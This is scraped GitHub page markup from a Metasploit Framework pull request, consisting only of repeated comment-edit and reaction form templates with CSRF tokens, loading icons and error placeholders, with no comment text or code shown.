<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/683547276" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
name="authenticity_token" value="AWZGAmEc5QBZ2t67BlBva3ntxe7cz2UqcRwGVOwYCzAEktsjvnZoKGc19AGzys3u5+CaaxlGFgqNekIz62Rk8A==" autocomplete="off">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/683547276/edit_form?textarea_id=discussion_r683547276-body&comment_context=discussion"
class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/reactions
<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
value="/VAstqHbI7NSCa5MK+tFuvjL0HdXbZl+PyYbXlgLHu752U6eRuF9K+mzSG0hzWtQAZkqA3nsCTtC3mTFQb8itw==" autocomplete="off">
<input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDY4MzU0NzI3Ng==">
<div class="comment-reactions-options js-comment-reactions-options">
</div>
</form>
POST /rapid7/metasploit-framework/issue_comments/905248359
<form class="js-comment-update" id="issuecomment-905248359-edit-form" action="/rapid7/metasploit-framework/issue_comments/905248359" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
type="hidden" data-csrf="true" name="authenticity_token" value="tRqwslM+bZvE2PJ9PjZGphaWuSVxl7Nags8rqZMHnm1zOXw/9he7pHN33v3LYcrFvnSJbk5bWrn4RBmRSjsEKw==">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/905248359/edit_form?textarea_id=issuecomment-905248359-body&comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/pull/15506/reviews/744310618/update
<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/reviews/744310618/update" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
name="authenticity_token" value="xQZmgohkqhtsdn0PMGzQGscFlQcvMMvbVQ1Qh/vjGUqa9A8mXrTqUiZZsPK6237rx0vrJOPo5zSp4xvwOHIUfw==" autocomplete="off">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/reviews/744310618/update/edit_form?textarea_id=pullrequestreview-744310618-body&comment_context=discussion"
class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/reactions
<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
value="AusrOS+lZusocz0s0Z/greiR9UhYb7LXnERn/89LxzgGYkkRyJ84c5PJ2w3buc5HEcMPPHbuIpLhvBhk1v/7YQ==" autocomplete="off">
<input type="hidden" name="input[subjectId]" value="MDE3OlB1bGxSZXF1ZXN0UmV2aWV3NzQ0MzEwNjE4">
<div class="comment-reactions-options js-comment-reactions-options">
</div>
</form>
POST /rapid7/metasploit-framework/pull/15506/review_comment/700491349
<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/700491349" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
name="authenticity_token" value="3r6meuUGkxreOzncw9KfpDjp0bo+9GWYma2OBlWlEr0D0HnqmTMt+l3PqqPtZRYSgDZRLKdIR7i2tpr+n2GALw==" autocomplete="off">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/700491349/edit_form?textarea_id=discussion_r700491349-body&comment_context=discussion"
class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/reactions
<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
value="O6B8AKVYTiTiz5JTmwDvOv4icEjtoNV5Xoy6tF9FmCA/KR4oQmIQvFl1dHKRJsHQB3CKPMMhRTwjdMUvRvGkeQ==" autocomplete="off">
<input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMDQ5MTM0OQ==">
<div class="comment-reactions-options js-comment-reactions-options">
</div>
</form>
POST /rapid7/metasploit-framework/pull/15506/review_comment/702386703
<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/702386703" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
name="authenticity_token" value="7+QuqEJjm07Mf3vaeWEpaItXcZmkoZbPJKGvgVgbFGBeWGEIRZ4gnDxgXxO40fdA7YYB7cwmwjqXEeI9Ro1qkg==" autocomplete="off">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/702386703/edit_form?textarea_id=discussion_r702386703-body&comment_context=discussion"
class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/reactions
<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
value="fKQfP30PVMt71murqQYF853zc+sYbSS0hsD930yC/rl4LX0XmjUKU8BsjYqjICsZZKGJnzbstPH7OIJEVTbC4A==" autocomplete="off">
<input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMjM4NjcwMw==">
<div class="comment-reactions-options js-comment-reactions-options">
</div>
</form>
POST /rapid7/metasploit-framework/pull/15506/review_comment/700506542
<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/700506542" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
name="authenticity_token" value="nNB7BEMfMZNl3PQnVDWpw1zZ6fXW+HYsDx4tUJxNS0zkMtXndDYkGuJYDu/SukGfGk1sEI4fJZnnkRPp4sF0eQ==" autocomplete="off">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/700506542/edit_form?textarea_id=discussion_r700506542-body&comment_context=discussion"
class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/reactions
<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
value="Cjk66L34dbNNEsMB36tJ2oZf8sc+cjWJpugkvPlMpdMOsFjAWsIrK/aoJSDVjWcwfw0IsxDzpczbEFsn4PiZig==" autocomplete="off">
<input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMDUwNjU0Mg==">
<div class="comment-reactions-options js-comment-reactions-options">
</div>
</form>
POST /rapid7/metasploit-framework/pull/15506/review_comment/702386742
<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/702386742" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
name="authenticity_token" value="MXcBphVCfEUZhOnU+dmH9tfbEoAPR2R4DK6wml/n31H8YfT/B/M54imKvfVAGqU4rdA4F//7a45eLOku1OlAUA==" autocomplete="off">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/702386742/edit_form?textarea_id=discussion_r702386742-body&comment_context=discussion"
class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/reactions
<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
value="GL09OoiveZEKLylMG1SSNVtHvs0CLT+DCkjA7qGgmlIcNF8Sb5UnCbGVz20RcrzfohVEuSysr8Z3sL91uBSmCw==" autocomplete="off">
<input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMjM4Njc0Mg==">
<div class="comment-reactions-options js-comment-reactions-options">
</div>
</form>
POST /rapid7/metasploit-framework/pull/15506/review_comment/700555500
<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/700555500" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
name="authenticity_token" value="NUZ5IRDdWGyBe5gspEJheGLQFtd8gvmSVifKEjuEcjCdzIw+xGTd7sHnsCYleFyzJkcAlYkKfYtlJVTPDZ/i3Q==" autocomplete="off">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/700555500/edit_form?textarea_id=discussion_r700555500-body&comment_context=discussion"
class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/reactions
<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
value="u8sV0chR+NDI3seS0q885apk/4Y0MhhC0OweuFNdhAS/Qnf5L2umSHNkIbPYiRIPUzYF8hqziAetFGEjSum4XQ==" autocomplete="off">
<input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMDU1NTUwMA==">
<div class="comment-reactions-options js-comment-reactions-options">
</div>
</form>
POST /rapid7/metasploit-framework/pull/15506/review_comment/702386913
<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/702386913" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
name="authenticity_token" value="JeA4Ix9vrEnLq2XNGz/Gcf2rQdtuFTxGTG4cdqIFSY0L7khysFmUJuf9U0BJyLi++rLiXdpRHD5R2qgPx/ClFQ==" autocomplete="off">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/702386913/edit_form?textarea_id=discussion_r702386913-body&comment_context=discussion"
class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/reactions
<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
value="eyrVRpPdxA9QE4iu59hqhj8Ka69Pi9p9cdlzzUvupU1/o7dudOeal+upbo/t/kRsxliR22EKSjgMIQxWUlqZFA==" autocomplete="off">
<input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMjM4NjkxMw==">
<div class="comment-reactions-options js-comment-reactions-options">
</div>
</form>
POST /rapid7/metasploit-framework/pull/15506/review_comment/700556234
<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/700556234" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
name="authenticity_token" value="gfm/OZ5NS0itcxkaqVw9qxrWmxwVzPQdCE/9DBBro9n3KJFrNPEtcb90y596L2i8Cxmw4nGgUf9hIkYhmHzwIg==" autocomplete="off">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/700556234/edit_form?textarea_id=discussion_r700556234-body&comment_context=discussion"
class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/reactions
<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
value="233D208WR0C3i8cuVUf0HpRGU3zM4j3XVZ6dMfjqvojf9KHzqCwZ2AwxIQ9fYdr0bRSpCOJjrZIoZuKq4V6C0Q==" autocomplete="off">
<input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMDU1NjIzNA==">
<div class="comment-reactions-options js-comment-reactions-options">
</div>
</form>
POST /rapid7/metasploit-framework/pull/15506/review_comment/700556497
<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/700556497" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
name="authenticity_token" value="/WtfXRqAg0wSL9xMx3Ryz5ogG+91t8GDG0jWo2iEfYJ+D6dt5m/OrpTg/efnfILiG2+ALPjWn3fn/b2OdZrJSQ==" autocomplete="off">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/700556497/edit_form?textarea_id=discussion_r700556497-body&comment_context=discussion"
class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/reactions
<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
value="YO+OXSzJoSWq+qAw7L7bfFqH5QkXibQUhf9YzjGdTrhkZux1y/P/vRFARhHmmPWWo9UffTkIJFH4BydVKCly4Q==" autocomplete="off">
<input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDcwMDU1NjQ5Nw==">
<div class="comment-reactions-options js-comment-reactions-options">
</div>
</form>
POST /rapid7/metasploit-framework/pull/15506/review_comment/702387260
<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/702387260" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
name="authenticity_token" value="ZOU88KKzD3i3l+h8ti4f4cNhamxX/e1HxWxQtxNIne1YGKB4CeAGK7zb4QgKfTVzex1uuAOwaUwBjIvw1uyqTA==" autocomplete="off">
<include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/702387260/edit_form?textarea_id=discussion_r702387260-body&comment_context=discussion"
class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
<p class="text-center mt-3" data-hide-on-error="">
<svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
<circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
<path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
</svg>
</p>
<p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
<path fill-rule="evenodd"
d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
</path>
</svg> Sorry, something went wrong.
</p>
</include-fragment>
</form>
POST /rapid7/metasploit-framework/reactions
<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
value="tOo8az26xXCFP/FYJ0hWhGMeTWImRRCsbDoNbLLi2wOwY15D2oCb6D6FF3ktbnhumky3FgjEgOkRwnL3q1bnWg==" autocomplete="off">
